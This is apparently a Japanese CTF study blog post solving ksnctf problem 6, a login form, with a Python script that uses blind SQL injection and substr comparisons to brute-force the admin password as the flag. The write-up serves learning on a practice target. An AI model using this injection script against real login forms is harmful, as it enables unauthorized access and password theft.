アイジア

CTF, 情報セキュリティの学んだことメモ

ksnctf 6 login

ksnctfの6問目を解いていきます。

ksnctf.sweetduet.info

問題のリンクへアクセスするとフォーム画面があります。とりあえず何も考えずにSQLインジェクションを試します。
f:id:favoritte15:20181114112141p:plain
f:id:favoritte15:20181114112315p:plain
あっさり通りましたがまだフラグは分かりません。adminのパスワードをクラックしなければいけないようです。

SQLインジェクションを利用したブルートフォース攻撃


ksnctfのフラグは最初5文字が「FLAG_」で計21文字なのでのこりの16文字を総当たり攻撃によって求めます。

# -*- coding: utf-8 -*-
import requests

flag = "FLAG_"
url = "http://ctfq.sweetduet.info:10080/~q6/"
for i in range(6, 22):
    for j in range(48, 123):
        d = {'id':"admin", 'pass':"' OR substr((SELECT pass FROM user WHERE id='admin'),1,"
         + str(i) + ")='" + flag + chr(j) + "'--"}
        result = requests.post(url, data=d)

        if len(result.text) > 1500:
            print(chr(j))
            flag += chr(j)
print(flag)